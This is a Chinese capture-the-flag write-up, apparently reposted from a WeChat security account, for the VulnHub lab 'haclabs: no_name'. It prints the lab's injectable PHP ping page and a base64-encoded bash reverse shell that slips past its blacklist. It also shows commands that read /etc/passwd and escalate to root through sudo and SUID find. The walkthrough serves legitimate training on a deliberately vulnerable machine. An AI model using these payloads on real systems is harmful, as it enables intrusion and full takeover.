title: Vulnhub-No-Name
categories:
- VulnHub
tags:
- Linux
- nmap
- gobuster
- 命令执行
- 命令执行绕过
- sudo
- find
- suid
cover: /images/Vulnhub.png
abbrlink: e4342a21
date: 2023-03-03 14:33:36
0x01 靶机介绍
-
Name: haclabs: no_name
-
Date release: 15 Feb 2020
-
Author: HacLabs
-
Series: haclabs
-
Web page: https://www.haclabs.org/VulnerableLabs/No_Name
-
DIFFICULTY : Beginner/intermediate
-
Description : This machine has 3 flags. Each flag is present in the Home directory of particular user. Be ready to test your Linux skills.
靶机下载地址:
https://www.vulnhub.com/entry/haclabs-no_name,429
0x02 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.105 -oA nmap_no_name
扫描结果显示目标开放了80端口
80端口
访问http://192.168.0.105
提示假的管理区
目录扫描
使用 gobuster 进行目录扫描,成功找到目录/admin
、文件superadmin.php
gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirb/big.txt -x php
访问http://192.168.0.105/admin
为 CTF 图片
访问http://192.168.0.105/superadmin.php
存在命令输入
0x03 上线[www-data]
命令执行
主站界面显示Fake Admin Area
,翻译为假管理界面,命令执行提示假 ping
而http://192.168.0.105/superadmin.php
则是真管理界面,命令执行成功回显
执行命令读取superadmin.php
127.0.0.1 | cat superadmin.php
查看网页源代码出现读取文件内容
";","&&","/","bin","&"," &&","ls","nc","dir","pwd"
if (isset($_POST['submitt']))
{
$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
$pinged=$_POST['pinger'];
$newStr = str_replace($word, "", $pinged);
if(strcmp($pinged, $newStr) == 0)
{
$flag=1;
}
else
{
$flag=0;
}
}
if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
经分析存在过滤黑名单,过滤规则如下:
";","&&","/","bin","&"," &&","ls","nc","dir","pwd"
命令执行绕过
绕过黑名单非常简单,把命令采用 Base64 编码进行绕过
bash -i >& /dev/tcp/192.168.0.104/9999 0>&1## base64编码后YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0Lzk5OTkgMD4mMQo=
在本地开启监听
nc -nvlp 9999
执行命令
127.0.0.1 |echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0Lzk5OTkgMD4mMQo="|base64 -d|bash
成功拿到反弹shell
0x04 权限提升[haclabs]
信息收集
使用 Python 切换 pty 环境
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看当前用户,存在用户root
、yash
、haclabs
cat /etc/passwd | grep bash
在yash
家目录下拿到第一个flag,根据提示haclabs
的密码位于隐藏文件中
cd /home/yash
cat flag1.txt
通过 find 命令寻找隐藏文件,成功找到.passwd
,读取密码为haclabs1234
find / -name ".*" -print
find / -name ".*" 2>/dev/null
find / -type f -user yash 2>/dev/null
通过 su 切换用户 haclabs,成功拿到第二个flag
su haclabs
cd ~
cat flag2.txt
0x05 权限提升[root]
信息收集
查看当前用户是否拥有管理员权限,成功找到 find 命令在调用 sudo 时无需输入密码
ls -la /home/haclabs
sudo -l
sudo提权
利用 find 命令配合 sudo 成功提权为 root
sudo find . -exec /bin/sh ; -quit
在管理员家目录下成功拿到第三个flag
cd /root
cat flag3.txt
suid提权
查找 suid 特权文件
find /usr -perm -u=s -type f 2>/dev/null
同样通过 find 命令成功提权,并拿到第三个flag
find . -exec /bin/bash -p ; -quit
cat /root/flag3.txt
0x06 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub hacklabs-no-name
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论